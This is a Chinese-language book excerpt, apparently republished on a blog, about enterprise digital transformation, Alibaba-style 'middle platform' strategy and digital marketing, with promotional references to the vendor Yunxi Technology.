        30年前,汽车厂商一直实行经销商4S店的经营模式,厂商和经销商之间互为利益共同体,同时也相互制约。用户在买车或享受售后服务时只能与4S店发生联系,厂商只知道压货完成指标任务。更多的新品推出和活动促销基本上靠经验和获取的竞争对手的数据来开展,但这类数据准确性和时效性都不高。随着移动互联网和手机的普及,用户也逐渐习惯在线了解汽车的性能,看其他用户的评价,在网上进行比价,门店与用户的触点和场景越来越少,更多的消费者停留在互联网端。互联网、AI等技术创造了条件,推动消费者在平台进行虚拟驾驶体验,正在改变着经销商和厂商之间的价值链。
        如果要在数字化转型浪潮中弯道超车,要清醒意识到两个必须解决的技术问题:一是强大的技术平台;二是全网的数据运营能力。那么,如何解决这两个问题呢?
        阿里巴巴根据自身的实践,指出传统企业在数字时代必须具备中台战略,这引起了社会和企业的广泛认同,这也符合数字时代的整个商业环境和业务的变化需求。云徙科技于2016年开始践行阿里的中台战略,也是第一家真正将其思想落地的企业数字化服务商,通过研发并输出业务和数据双中台,为传统企业的数字化转型提供服务。中台不仅是简单的技术平台的更换,它已成为数字化转型的核心能力。如果不具备这个能力,那么转型是有问题的。
        云徙科技构建的数字中台解决了3个非常核心问题:
        1)支持前端多场景应用、实现全业务在线服务;
        2)沉淀业务能力,支撑新商业环境下的业务快速创新和响应变化;
        3)通过数据驱动业务运营,获取最大的商业价值。

        1.1.3 驱动力三:产业互联

        过去十多年互联网以消费和服务为主线,人们的购物、出行等生活场景被彻底改变并且深度融合。在用户流量红利正逐渐见顶的时候,消费互联网的格局和竞争态势日趋稳定和饱和,每个企业在跨过消费互联的门槛后,又在寻找下一个互联的方向—产业互联,拓展企业的业务边界。
        产业互联是促进企业内的人、物、服务,以及企业间、企业与用户间互联互通、线上线下融合、资源与要素协同的一种全新产业发展范式,正逐步重构传统产业的业务协作关系和产业价值模型。
        在最传统的农业领域,产业互联网将从根本上改变农业企业与上下游的服务与合作模式,不断改变着农产品的价值实现方式,同时也推动新型农业合作体的发展。图1-2为某养殖企业赋能产业化养猪的示意图。通过搭建产业互联平台,能够为养猪户、农技站提供饲料、疫苗、动保、技术培训等全方位的综合服务。

        image.png


        图1-2 某养殖企业赋能产业化养猪

        同时运用传感设备和大数据技术,科学化、规模化地开展农产品的生产,触达消费者端时提供更加健康、新鲜的农产品。产业互联的发展将再造农产品流通形态,拓宽农产品销售渠道。
        从发展的角度看,产业互联网还处在从萌发到成熟的发展阶段,在未来十年,随着技术发展、消费互联的逐渐饱和,更多企业会利用其独立的行业优势和壁垒,快速发展自身的产业互联数字化业务。企业管理者在产业互联转型过程中需要具有如下几种思维:
        1)价值驱动思维。产业互联能否从根本上解决原有行业作业效率低的问题,从而节约成本使其价值链的数据流动更高效,并在某个节点创造出互联后的价值溢出?
        2)分享经济思维。无论是在营销领域还是在知识技能上,都要有社会化分享的理念,在产业互联网领域将分享的价值放大。
        3)大数据思维。产业互联将通过新一代技术获取整个产业链不同节点上有价值的数据,将原有分散的数据集合起来,产业互联平台更应该提供全产业不同价值链的数据模型和决策支撑。

        1.1.4 驱动力四:生态运营

        传统企业管理以往是基于专业化分工进行的,更多是追求效率提升、风险控制。而未来企业的管理首先是基于连接的,整个人员、组织形态也在向开放、生态方向进化。未来的商业竞争是基于多向的非线性价值网络的,在层层相关的价值网络中,客户位于价值链中心,为了创造更多的增量价值,需要开放与共享,企业也必将向共生、共赢、共创的生态战略方向进化。
        重构企业生态体系的最终目的是在如今经济新常态的市场竞争中占据优势,实现企业的自我进化,同时通过生态体系中各个环节的进化促进整体生态体系的完善发展。不论是阿里巴巴构建的从用户购物平台到生活一体化的生态系统,还是腾讯构建的从社交平台到生活一体化的生态系统,或者小米构建的从“硬件+软件+云存储”系统到生活一体化的生态系统,都是如此。
        数字平台用户正在从C端个人消费者迅速拉长到B端的经销商、供应商、生产设计OEM商、社会化分销服务商(合伙人、终端商户、异业合作),及行业生态体系的利益相关用户。企业所具备的生态能力正成为在行业中重新洗牌的重要手段,但是在生态体系,由于所涉及的行业跨度大、用户群体复杂,通过传统的合作和管理很难达到预期的效果,这就需要数字化平台赋予全域全触点的用户以连接能力。
        在生态运营方面表现最突出的是地产企业。地产企业当前遇到了发展瓶颈,都想尽快实现从纯地产开发商向城市生活综合配套服务商的转型,积极拓展业务版图,进入商业开发和运营、物流仓储、社区教育、金融服务、养老生活等。但内部多业态用户触点的运营和管理处于分散状态,各个业态各自为政,不利于未来面向业主提供更多全面生活配套服务的产业生态的发展。因此为了推进多业务形态协同融合,地产企业纷纷开启数字化之旅。

        1.2 企业数字化转型的2条路径

        数字化转型需要依托技术的驱动,特别是数字中台技术,而数字中台的核心是业务中台和数据中台。对于企业而言,转型的主要路径是业务数据化与数据业务化,如图1-3所示。
        image.png

        图1-3 企业数字化转型路径


        某些企业已具备一定的技术和平台应用,如已有商城、CRM、客户服务等应用,此时可选择将业务进行数字化改造,沉淀业务能力和数据资产,再逐步反哺业务能力,对原有的应用进行升级改造和迁移,通过数据驱动业务的中台化,这条路径通常称为业务数据化。
        当然,也有些企业自身的信息能力较弱,应用系统不健全或现有应用已明显不能满足业务的需要,这时企业应将着眼点放在场景应用和业务应用服务上,如原有的B2C商城业务、B2B业务需要以小B端或分销模式进行渠道链多端的融合,形成B2B2C、S2B2C等模型,重新定义渠道业务模型;或者原有的CRM业务已满足不了消费者标签数字化,无法形成自动营销的应用模式,这一切都说明原有应用缺乏用数据反哺业务的能力,或不能适应业务模式的变化。如果企业面临这类问题,就应果断进行基于中台的应用系统的建设,这条路径通常可以称为数字化业务。

        1.2.1 路径一:业务数据化

        业务数据化是指引入中台架构技术对成熟的运营场景提供中台化服务,通过成熟业务来沉淀企业的数字化能力,让业务和技术相互融合,不断扩展业务边界,不断增强支撑创新业务的能力,不断深挖数据价值,将品牌商、商品、用户等企业经营核心要素,以场景化的方式沉淀和输出,通过数字化方式交互连接,让企业的运营更加快速、高效。
        1.业务中台化
        传统技术架构都是烟囱式的,随着业务变得日益复杂和产业合作的深入,企业内部对不同业务场景的协同运营变得越来越难、效率和执行力下降。为了改变这一问题,需要基于原有的成熟业务应用进行中台化技术改造,以解决业务不交互、数据不通等问题。如原有的商城、CRM、POS等系统均有独立后台,在面向消费者端应用时可提供多个不同入口的应用,需要将原有应用逐步沉淀到中台形成统一的共享能力以对不同端提供服务,如商城提供统一的交易能力、CRM沉淀统一的会员能力等。
        2.数据资产化
        数字经济时代,数据资产将成为企业核心竞争力,评价一个企业的数字化能力和业务价值,就需要评估其数字资产的价值变现能力。那么什么是企业的数据资产呢?它是企业拥有或控制的能带来未来经济利益的数据资源。因此,并不是所有的数据都是资产,只有可控制、可计量、可变现的数据才可能称为资产。其中,实现数据资产的可变现属性,体现数据价值的过程,即数据资产化。在大数据时代,具有商业价值变现的数据将是企业数据架构的核心。
        新的商业模式和数字化运营模式可以通过创造性的方式整合这些新的数据资产,如智能交通、生活轨迹分析和消费者画像等。实现以数据驱动的个性化服务成为可能,如微营销和客户个性化定制的产品和服务,满足每一个消费者的独特需求,现在很容易通过数字化运营实现,不仅能够增强竞争优势,开辟新的市场,设计新的服务,还能为客户带来体验上根本性的改善,加速业务扩张。
        数字化运营模式依赖数据计算、数据模型和中台化技术的整合能力。因此,有更多的企业(特别是食品酒饮、化妆品、消费电子等面临新零售业务场景多且复杂的企业)选择从数据中台切入,快速将企业现有数据进行数据化改造,实现价值变现,在行业和市场竞争中赢得先机。
        大数据进入下半场,人工智能已然崛起,现有的大数据技术亟须和人工智能技术结合,孕育新的产业生态,向数据智能型企业转型正在成为数据科技创新的行动方向。企业通过建设数据中台,打破内部数据壁垒、盘活数据资产、提升数据价值,对外提供统一的智能化数据服务,重构企业大数据生态环境,进一步深挖和释放大数据的价值红利,其中以业务对象为核心的价值连接和标签体系,反哺业务中台,实现快速反应和高效执行,深度挖掘数据的商业价值,提升数字化收入和价值贡献。

        1.2.2 路径二:数据业务化

        数据业务化是指企业抓住数字化转型过程中的新机会,提供新型产品/服务,抛弃原有的技术体系,转而选择通过数字化技术和中台共享服务能力来驱动商业价值实现。这类转型有机会创造出更有冲击力的商业模式,或通过数字化产品/服务来创造额外价值,如微商城应用、社交化分销业务的应用等,为企业开辟新的渠道,带来新的业务增量。
        1.扩展业务链服务边界
        推动产业数字化,利用互联网新技术、新应用对产业进行全方位、全角度、全链条的改造。从原料到工厂再到终端,强化核心部门的数字基因,构建全新的产业链数字生态,形成一套完整的闭环,建立一个全程可追溯、数据互通共享的体系。以数字化的工具协同上游、把控产品、分析用户、主导销售,同时再用数字化的工具分析销售结果和消费者反馈,对研发部门和市场部门进行再反馈,推动企业不断创新发展。
        以线上的现在的消费者场景为切入点,实现异业合作,实现流量共享并赋能线上线下渠道是当前产业互联的主要发展方向,用户只需要在线上的某个场景化就能够轻松体验到不同类型企业的产品,促进了行业资源的再度优化和整合。
        这种以场景化为代表的跨界异业合作的新模式正在成为数字化时代发展的全新模式,不断扩展业务边界。通过将不同类型的企业置于场景之中,一个建构于虚拟场景的数字化新模式正在形成,这一切必须由数字技术来驱动。因此,未来每个企业都将会成为数字化企业,只是路径不同、时间先后不同而已。
        2.业务场景运营
        数字经济时代,基于大数据的千人千面、千店千策的运营策略,需要对B端、小B端,甚至C端进行精准化营销。渠道的多元化与下沉,让营销中商品、商圈、消费者等方面运营变得更加重要。行业内关于内容营销的理念正在发生转变,也从简单的品牌推广进化到内容场景化营销。
        消费者也更期待随时随地随性享受“场景触发式体验服务”。他们的需求越发个性化,充分利用各个渠道获取的品牌、产品、活动、服务等碎片化信息,在碎片化场景中精准识别用户以实现多渠道交易和服务。
        这些以消费者为中心的业务场景应用不断创新,需要基于稳定可扩展的中台能力来快速构建。
        更多企业选择稳健的做法,即以某一创新业务作为突破口,尝试数字技术为其带来的改变并评估其商业价值,之后逐步改造原有业务,对业务模式、技术平台、组织管理、运营等方面进行渐进式调整,这样不至于对现有业务造成太大的冲击和影响。最终将企业各个领域的业务构建在数字技术上以进行场景化运营。

        1.3 企业数字化的3大本质

        企业的数字化应立足于顶端设计,结合企业的核心竞争力,如产品设计能力、社会化服务能力、渠道终端覆盖力,以及未来的产业互联、生态发展方向,依托企业自身优势,抓取企业自身的数字化本质。
        那企业数字化的本质是什么?其主要特征包括三个方面:
        第一是连接,连接员工、连接客户、连接物联设备;
        第二是数据,也就是连接之后实时产生的数据;
        第三是智能,是数据驱动的智能应用。
        以阿里巴巴为例,首先,阿里巴巴通过天猫、高德地图、饿了么等业务前端,连接了众多消费者;然后,通过连接产生的实时数据,沉淀了大量的智能服务,例如千人千面的个性化推荐、商家的生意参谋等,来帮助企业做品牌推广、商品推荐、精准营销、运营分析等。
        企业转型过程中的数字化技术与业务融合至关重要,绝不再是单纯地针对某些模块数字化改善的线性叠加,或者单一数字技术的运用。合理的数字化转型路径应当从源头入手,完成企业数字化的连接和智能,获得相关数据,实现产业生态全链条端到端的数字化升级。对于传统企业而言,数字化转型可能是内力驱动,也可能是外力驱动,但不论是什么驱动着企业的数字化转型,我们都要清楚转型后企业的数字化本质是什么,打造了企业哪方面的数字能力。总之一句话:在无限变化的商业环境中,尽可能触达价值链的各端,通过数字技术连接,挖掘数据商业价值,形成价值共享服务模式,并逐步沉淀自身的数字化核心能力(如创新能力),将其赋能于价值链各端,进行智能化运营并最终产生企业价值增量的数字模型,如图1-4所示。
        image.png

        图1-4 企业数字化的3大本质

        1.3.1 本质一:连接

        在传统的商业关系形态中,通过企业、用户、商品可构建不同的业务模式,这几个商业要素相对独立且分散。在互联网、数字技术的推动下,它们之间的连接越来越紧密,充分把企业的品牌资源、用户资源、商品资源有效整合在一起,驱动商业模式的不断进化和创造新的价值模式。连接表现在企业营销、服务、市场、品牌、设计、研发、生产等各个环节,驱使企业不断连接产业链中优势资源,如设计、渠道、终端、供应商,使其形成一个超级价值链。
        企业内部连接自身组织、员工,解决管理数字化问题,其目标是提升效率。
        企业外部连接产业上下游的合作伙伴,如泛家居行业需要连接设计师、安装配送人员、工程人员、合作地产商、配套产品的供应商,家电品牌商需要连接苏宁、国美的导购员,快消品行业需要连接社群团长、街边小商户等。这些都是创造商业价值的一个环节,连接解决的是产业互联中的业务在线、数据采集等问题。
        除了人与人的连接,还有人与物的连接。举个例子,一瓶啤酒赋予唯一的二维码用于分享获取权益。消费者买酒开瓶扫码,可以获得红包、积分、优惠券等奖励,在会员商城上获取权益,参与更多的营销活动,也可以把这个二维码里的利益分享给更多人,这就是一物一码的连接。
        现在各行业都在将数字资源高度整合,形成更加庞大的平台经济,为产业互联和生态体系内不同价值链节点的用户提供更加便利、高效、优质的连接服务。因此每个企业都可以将自身的数字资源进行共享并放大,通过资源整合连接用户后获得更大的价值回报。

        1.3.2 本质二:数据

        数字经济时代,包含各类已发生、未发生且被预测即将发生的数据,我们称之为大数据。它可以以海量的数字、文字、图片、设备识别图像等为载体,利用新的技术、算法模型进行归类、分析、总结和应用,让其成为数字经济时代最重要的资产,即数字资产。
        通过打通企业的品牌资源、商品资源所连接的用户大数据,通过数据、物联网设备的普及将人与设备、人与人都连接起来。这个过程就需要每家品牌企业都能建立依托数字中台的数据引擎去驱动商业价值的转化能力。
        传统企业在对数字资产进行商业变现时,要充分利用自身的优势资源和能力,并将这些资源和能力转化为数字资产,特别是以用户为核心能力的大数据、以商品为核心能力的商品数据、以终端网点为核心能力的资源数据、以设计为核心能力的资源数据等。在数字经济时代,这些数据不是孤立存在的,要利用技术将这些数据连接,产生数据聚合的价值。对于一个企业而言,其掌握的数据核心资源越多,对生态和产业链的控制力就越强。
        对于传统企业而言,大数据之路无疑是艰辛而漫长的,首先必须通过自身资源能力和成熟业务沉淀各类数据,包含历史交易数据、市场预测数据、行业竞品数据等,且数据的颗粒度要逐步细化。其次企业只有具备数据赋能的能力,才能将数据资源共享给生态和产业伙伴,将数据资源的价值放大,最终数据服务能力才会凸显,才能将数据赋能到生态、产业链各端的业务场景,实现价值变现。

        1.3.3 本质三:智能

        对企业而言,数字化进程需要通过数据的沉淀,不断强化自身的数据引擎驱动能力,最终解决的是面向未知商业领域变化的应变业务能力,包含整个生态体系内,围绕商品、用户的智能运营能力,对于不同行业其需要具备的运营能力也有所不同,快消品行业更注重商品运营、用户运营的能力,耐用消费品还要关注渠道引流能力、社会化极致物流能力、售后评价互动能力。
        运营能力的建设不再只是通过组织和人员培训完成,而是需要基于数据驱动的智能运营场景去逐渐沉淀企业的数字化能力,建立不同领域的数据模型,在线获取各类行为轨迹数据、交易数据、设备连接数据,通过大数据的算法和计算能力,快速识别并输出数据的价值,反哺业务能力的快速创新和灵活应对。对于企业来说,在数字技术推动下已进入数字运营时代,要求企业能够建立数字中台,通过数据能力快速开展低成本的业务创新,目的是赢得时间以确立市场竞争的优势地位,这一切的基础是数据的智能化能力。
        所有的企业都想将原有的市场部门、销售部门变成数字化部门,这也就意味着企业智能运营的开启,数据能力是实现智能运营的基础,通过对内外部数据的深层次洞察获取新的商业机会,再通过智能分析技术,构建不同领域的数据模型来实现数据的可视化,优化企业的商业决策。

        1.4 企业数字化的3个领域

        企业数字化主要是在三大领域方向中选择,其中,数字管理(ERP)领域,应用已经比较成熟;工业大数据领域的应用还处于热点期,部分企业也在尝试,这个领域范畴大且难,大部分企业还在观望;相对其他两个领域,数字营销是一个新的领域,很多企业都没做过,这是互联网企业比较看好且容易出效率、出价值的领域,是企业数字化转型的突破口。
        企业主要从以下三个方面进行数字化应用,具体到每个行业、每个企业,需要根据其管理基础、技术条件、行业竞争等进行分析后选择,如图1-5所示。
        image.png

        图1-5 企业数字化的3个领域

        1.4.1 数字管理领域

        ERP进入中国的30年,中国企业的信息化结合了其带来的最佳业务实践,实现企业核心业务标准化、管理流程化,规范了企业的管理行为,支撑了企业业务扩张和发展。
        当受到互联网、大数据等技术的冲击时,绝大部分企业首先会对企业管理进行数字化,将原有的财务、人事、采购、生产等管理环节利用新的互联网技术进行数字化改造,实现内部员工的连接,要么利用大数据系统BI对原有的数据进行穿透分析和可视化但这仅是在原有已成熟的管理领域进行的数字化,要么利用新的互联网技术构建外部连接的App或小程序,建立官网和商城,但这些业务又建成单体应用,相互独立,缺乏大数据的支撑(原有的大数据平台已无法承载外部业务连接的数据量,更不用说建立数据模型和算法来提升数据应用能力了),我们将其划为数字管理范畴,这仅仅是企业数字化转型的第一步。
        例如最传统的家电企业,过去几十年利用国外的商业套件覆盖企业的各个管理领域。随着互联网+理念的深入、数字经济时代的到来,消费者产生了新的需求,企业对原有的系统修修补补,进行客户定制化开发,遇到了技术瓶颈、业务创新难、客户需求响应慢、底层数据逻辑混乱等问题,面临的是原有ERP管理的供应链数据已无法和电商应用的系统实现数据打通(典型场景是企业线上做商品促销时,线下网点库存不足、配送较慢、客户无法评价等),更不用说实现精细化的智能运营了。

        1.4.2 工业大数据领域

        工业互联的本质是互联在工业上的应用,以人工智能、机器人和物联网为主要技术,通过打通设备、生产和运营系统,以工业大数据分析、数字设计、制造仿真、数字化产品生命周期管理、柔性与优化制造能力为特征,这将真正实现制造的智能化。
        智能制造构想虽好但却至今无法普及,制约因素在于缺少一个跨平台、跨领域、统一的工业大数据平台。虽然企业有着强烈的智能制造转型需求,但实现难度很大。只有工业互联网平台技术突破了大数据的制约,才能使智能制造大发展成为可能。
        工业互联网所实现的不仅是制造过程的设备智能化,还需要通过平台获取设备、作业的实时数据,并将数据延伸到整个作业链中,与上游采购和供应商、下游销售和客户连通,实现基于产品、用户、服务的创新。“跟互联网结合起来,跟市场结合起来,跟智能制造结合起来,围绕消费走,这是中国制造业改变的关键一步”,马云在2018年云栖大会上这样说过。
        “新”必将重新定义制造业。马云提了几个“新制造”的“必须”:必须是制造业和服务业的完美结合;必须是B2C走向C2B;必须是实体经济和虚拟经济的完美结合;必须真正走向智能化;必须利用好大数据、云计算、物联网去实现按需定制;真正的新制造也必须是基于产业互联网的发展,由下游服务驱动上游产品与设计的新制造,并广泛应用工业大数据,形成智能制造的能力。

        1.4.3 数字营销领域

        虽然今天数字营销仍有很多问题需要解决,但它仍然是这个时代的新生产力,颠覆和改变着数字经济时代的未来商业发展趋势。然而,数字营销是一个复杂的技术体系,开源技术组件多如牛毛,尚未建立标准,且技术瞬息万变、场景迭代快;数字营销也是一个复杂的运营体系,领域专业细分又要高效协作,相互间有着强烈的连接关系。要完成品牌企业对消费者的有效触达,由数据、内容、触点的量变和复杂化,推动管理和运营的质变。
        数字营销涉及品牌、市场、渠道、交易、服务及会员等。原来企业这几块都是独立在做。例如做品牌的只管做品牌,比如打电视广告只看收视率之类的指标,和电视台商谈好各时间段的广告价格就可以了,至于广告播出后有多少消费者在看,消费者看了什么内容,对内容哪一部分比较关心,他们并不知道。
        数字营销要建立企业的商品服务端到客户、消费者端之间的连接。这里的连接,包括品牌的连接、市场的连接、渠道的连接、交易的连接及服务的连接,所有的连接都应该基于同一平台。
        比如要做品牌的广告,把广告传到今日头条,今日头条上连接的消费者的信息能够回流到平台上,包括谁看到了广告、点进去没有、点进去后看了多少秒、重点看了哪个商品等。
        市场也一样:消费者参加一个市场活动,要扫码才能进来,甚至活动结束也要扫码,这样企业就能确定活动参与人、参与时长、重点关注的内容等信息。当企业和消费者建立起从发布到结束的闭环连接,数据就产生了。
        云徙的数字营销就是做商品端到消费者端之间的连接,并将所有内容都集成在一个平台上。这个平台上有为精准营销、营销活动等服务的i-Marketing,有针对渠道和交易的数字商城、数字门店、全渠道运营的i-Commerce,有提供智能客服的i-Service,以及进行全域会员管理的i-CDP(Customer Data Platform)等应用。这些应用都长在统一的数字中台上,中台里的数据是互联互通的。

        1.5 中台驱动企业数字化转型

        中国经济发展已进入了数字化快车道,引领全球数字经济的创新。每个企业都想搭乘这趟数字快车,在创新之路上赢得竞争优势。数字化转型不再是可有可无的,每个企业都要意识到这是关乎企业未来发展空间的生存问题。
        数字化转型涉及产业、生态、企业等在商业环境下管理的变革,思维、创新、商业模式决定着每个企业的数字化之路。企业最终都会走向数字资产化,到那时对企业的估值不仅仅是依据收入规模等指标,更多依据数字平台连接的用户数据、商品数据、交易数据等产生的商业价值。引入数字技术,以改善产业生态链上的员工、客户、渠道分销商、事业合伙人、终端门店或商户、供应商、异业合作伙伴和相关数字利益链的商业关系。
        总之,数字化转型是将数字技术应用集成到企业内部的管理领域和外部变化的商业环境中去,从而对业务价值链产生决定性改变。企业变革要不断创新,要对原有的业务流程进行数字化处理,进而探索出新运营策略。
        技术如何帮助企业进行数字化转型呢?那就要从中台开始谈起。
        每个人对中台的理解都不尽相同,阿里提出“中台”,起初只是为了将自身的实践进行赋能输出,以场景化应用、数字化资产的形态构建核心差异化竞争力。中台恰好实现了“将数字技术赋能企业商业领域运营,支撑前端业务快速多变和创新,符合数字经济时代的商业运营方式和价值创造路径”这个目标。
        中台是企业数字转型的基础和保障。

        ]]>
        带你读《中台战略:中台建设与数字商业》之三:云智慧时代的数字营销 Fri, 02 May 2025 09:39:04 +0800 点击查看前言
        点击查看第一章
        点击查看第三章
        第2章

        云智慧时代的数字营销

        2.1 数字营销的背景

        近年来,数字经济作为全球经济的重要内容,成为全球经济发展的主线,并在逐步推动产业界和全社会的数字转型。数字转型的本质是连接、数据和智能,企业的连接又包括连接消费者、连接员工、连接设备,分别对应企业数字营销、数字管理和数字制造三大领域,其中数字营销领域作为最接近消费者、最容易为企业带来实际收益的环节,得到了企业的重视,也成为企业数字化转型升级中最核心、市场受众最广、发展潜力最大、空间最大的一个领域。如图2-1所示,数字营销已经达到很高的市
        场规模,并且仍在高速增长。
        image.png

        图2-1 数字营销的市场规模及增长趋势


        数字营销作为企业数字化转型的重要突破口,市场需求不断爆发,云计算、人工智能、大数据等新一代信息技术的发展不断推动着营销技术、架构、方式的变革。同时,以消费者为核心的数字营销也反作用于技术的发展、产品的创新与迭代,数字营销市场的魅力不断绽放。不断扩大的数字营销版图不仅是数字经济发展的新风口,也成为互联网巨头及创新型企业竞相追逐的
        新蓝海。
        无论是在强调网络化、信息化发展的数字营销1.0时代,还是在移动互联网、数字化技术高速发展的数字营销2.0时代,以及未来将催生的人机交互、万物互动、智能世界的数字营销3.0时代,营销模式在新技术演进、商业模式创新中不断迭代、升级与变革,每次新时代的跨越都是对上一时代的冲击与颠覆,都会催生新架构、新技术、新模式、新服务,也由此产生新的行业领导者与生态阵营。全球数字化转型正在加速,时代变革已经来临,数字营销风口已然形成,谁把握先机,谁就将成为行业的颠覆者、引领者。

        2.2 数字营销的定义

        数字营销是以“技术+数据”双驱动,对传统营销进行在线化和智能化改造,进而帮助企业构建消费者全渠道触达、精准互动和交易服务的营销闭环。其本质是借助数据和技术,并利用营销资源,依靠实时数据跟踪,实现营销由粗放向集约发展。比如,我们用数据跟踪技术,精准分析和决策企业广告资源投放渠道和投放人群,大大提升广告拉新效果。
        依靠中台的强大连接力,实现渠道从单一向多元发展。中台持续沉淀企业商业服务能力,并赋能各种新消费场景,支持企业快速创新消费场景,拓展渠道。
        内容策划和投放依靠数据算法的预知,从经验决策变为智能决策。比如采用一些聚类算法设计的活动预测模型,可以帮助企业预测某一类活动的效果,让活动在策划阶段实现效果最大化,且能学习进化。最终使企业营销资源利用更高效,推广费用大幅降低,业务增长可预期。
        数字营销是以消费者需求为核心的数字化体验创新,最终实现面向最终客户体验的触点创新。数字营销强调的是对新技术的运用以及互联网业务逻辑分析的能力。数字营销赋予了企业市场、营销、销售、服务组合新的内涵,是数字经济时代企业的主流营销方式和发展趋势。

        2.3 全球数字营销的3个重要趋势

        2.3.1 趋势1:“+互联网”重构数字营销链条

        商品从企业流转到消费者手里,涉及品牌、市场、渠道及交易、服务等内容,就是传统的营销链条(见图2-2)。
        image.png

        图2-2 营销链条

        在数字经济时代,由于消费的场景化、渠道的多元化、产品与服务的一体化,企业开始利用“+互联网”思维模式重构营销链条。以客户价值为核心,打通研发、营销、销售和服务环节,通过对消费者全方位洞察和全生命周期管理,使业务与数字形成营销闭环,达成业务到数字的一体化、数字到业务的运营化,从而提高获客数量和客户价值。
        重构数字营销链条,大体上可以分为如下4个步骤:
        1)打通所有销售通路,包括渠道类(即B2B)、电商类(即B2C)及线下门店类(即O2O),将客户信息、商品信息、交易信息、合同信息等汇聚到统一的平台上;
        2)通过对数据的多场景分析,管理用户生命周期,判断用户运营策略;
        3)根据用户消费习惯和行为分析,实现精准场景、精准渠道、精准业态的营销活动;
        4)根据数据分析和运营结果,支持新产品研发、营销决策、业务运营,从而构建企业发展的新格局。

        2.3.2 趋势2:大数据、AI全面赋能精准营销

        全球数字营销正在被数据驱动,传统单一渠道优势已不能支撑市场的多变冲击。打通全渠道客户,让数据孤岛融入场景,将数据转换为个性化营销、差异化服务成为新一代企业间竞争利器。
        通过大数据、人工智能等技术手段能精准找到对的消费者,并根据历史表现数据和行业参考数据,科学地计算出边际递减效应的最佳临界点,从而以更有效的方式触达消费者;再利用原生的方式来整合广告和内容去影响消费者。其中,大数据能力与技术是实现数字营销变革的基石。通过用户画像和推荐算法能构建消费者全触点场景,精准触达消费人群。此外,大数据营销监测可以实现营销成果转化追踪,实时修正营销方案,进一步吸引消费者,促使消费者做出购买决策。

        2.3.3 趋势3:平台化、微服务变革传统架构

        在以消费者为中心的时代,企业的数字化应用发生深刻变革。在原来以系统为核心的建设模式中,业务和数据被烟囱式IT系统分割到了不同系统中,相互之间数据不能完全共享。一旦业务变更,产生新的应用需求,这种烟囱式体系架构难以支撑业务变化与创新。并且,以消费者为中心的应用系统面临巨大的性能挑战,传统架构难以应付海量访问的并发,因此向分布式、平台化转变成为变革的方向。
        分布式架构的灵活性、可扩展性,以及承载海量用户的能力,使云化平台成为必然选择;为了支撑业务迭代创新,以阿里、腾讯为代表的互联网巨头开始实施“中台”战略,引入数据资源整合与交换中心、共享服务中心,即数据中台与业务中台,以支撑数据交换与业务交互。通过中台将共性需求抽象化,通过解耦和组件化方式,保证整个系统是分布式的,各种业务应用以微服务方式进行交互处理,可保障业务随着场景发展而迭代,支撑给予用户全新体验与个性化服务。

        2.4 中国数字营销的5个新特性

        2.4.1 中国引领企业数字化转型大潮

        随着人工智能、云计算、大数据、机器学习等一系列前沿技术的不断发展,并深入到医疗、制造、安防等传统行业领域,企业数字化转型逐渐在各个行业爆发。中国宏观经济面临下行压力、经济结构的转型升级推动生产要素成本上升,同时激烈的市场竞争、用户多元化消费习惯的养成、行业赢利点的转变等也倒逼企业进行数字转型升级。
        在此背景下,中国涌现出诸如阿里巴巴、腾讯、华为、新华三、浪潮、海尔、海康威视等一批优秀的企业数字化转型实践者,从市场营销、供应链、生产制造、内部管理等多方面为企业提供数字化转型解决方案。企业数字化转型行业生态初步形成,中国正在逐步成为数字化变革的引领者。

        2.4.2 中国数字营销生态正在快速搭建

        在数字经济时代,传统企业需要从市场营销、供应链、生产制造、内部管理等多个方面进行数字化转型升级。其中,营销作为最接近消费者、最容易为企业带来实际收益的环节,受到了各行各业企业的重视,数字营销也成为企业数字化转型升级中市场受众最广、发展潜力最大的一个版块。
        赛迪顾问预测,2019年中国数字营销市场规模将达到652.5亿元。同时,随着中国互联网用户的基本普及,用户已经习惯了使用社交软件、电子商务、在线视频等应用,用户的基础观念与使用习惯已经养成,移动端正在成为数字营销发展的重要引擎,数字营销已经成为企业与消费者直接接触的重要方式之一。
        作为世界领先的数字技术投资和应用大国,中国孕育了世界近三分之一的“独角兽”公司,本土市场中拥有大量热衷数字科技的80后、90后年轻消费者,更有业务遍及全球的阿里云、腾讯云等本土企业布局多行业、多元化的包含数字营销解决方案在内的数字生态系统,其中也涌现出不少优秀的数字营销解决方案提供商,如以SAP、Oracle、用友等为代表的传统ERP厂商和以云徙科技、Salesforce、端点科技、有赞科技、微盟等为代表的新生态厂商。

        2.4.3 云原生数字营销阵营已经形成

        目前,以云计算、大数据等前沿技术为基础,国内已经形成了以阿里云、腾讯云等为代表的云计算生态的数字营销新阵营。
        其中,凭借突出的客户运营能力、消费者基础以及技术实力,阿里云通过共享服务·区域服务、Apsara Aliware、阿里云大学等合作计划,并收购端点科技,与云徙科技等优秀企业建立合作关系,构建出具有丰富开发功能的PaaS平台。在此基础上,阿里云帮助国内外众多企业用户轻松上云,助力目标客户企业搭建自由营销推广系统。
        腾讯云则集结了云计算、企业微信、微信支付、小程序等工具,与微盟、有赞科技等众多云行业企业建立了紧密合作关系,助力金融、零售、教育等行业企业实现数字营销、数字生产、数字管理。

        2.4.4 消费品、汽车、房地产等行业数字营销需求最迫切

        对于营销数字化转型升级,不同行业的需求度和紧迫感不同。与最终用户越接近、与消费者产生互动体验越频繁、购买决策后期越长的行业,对数字营销的需求越高。其中,消费品、汽车、房地产等行业受大数据、云计算、人工智能、物联网等新技术影响最深,也是数字营销转型动力较强的典型行业。
        以汽车行业为例,虽然近几年汽车销量稳步提升,但是增速逐步放缓,加之汽车品牌数量之多、企业竞争愈发激烈使得车企亟须找到新的增长点。当前随着移动互联网、大数据等技术的发展,消费者行为正在逐步改变,多元化的买车习惯已经养成,购车用户前往4S店的次数由过去的4~5次减少为1~2次就可以做出购车决定,越来越多的消费者通过互联网、短视频、社交媒体网站等渠道了解汽车信息。80后、90后消费主力军对内容新颖、突出情怀的产品付费意愿会更强,这也对汽车企业的数字营销内容质量提出了更高要求。

        2.4.5 “数字中台”成为数字营销解决方案的主流模式

        在互联网时代,当数字化成为企业的核心战略后,如何实现业务数据化?如何使数据赋能企业推动业务转型升级?如何提升企业数字资产的价值?这些都成为制约企业发展的难题。在此背景下,数字中台成为指导企业数字化转型、实现智能营销的主流方法。
        数字中台是基于企业级互联网及大数据架构打造的数字化创新平台,包含业务中台和数据中台。
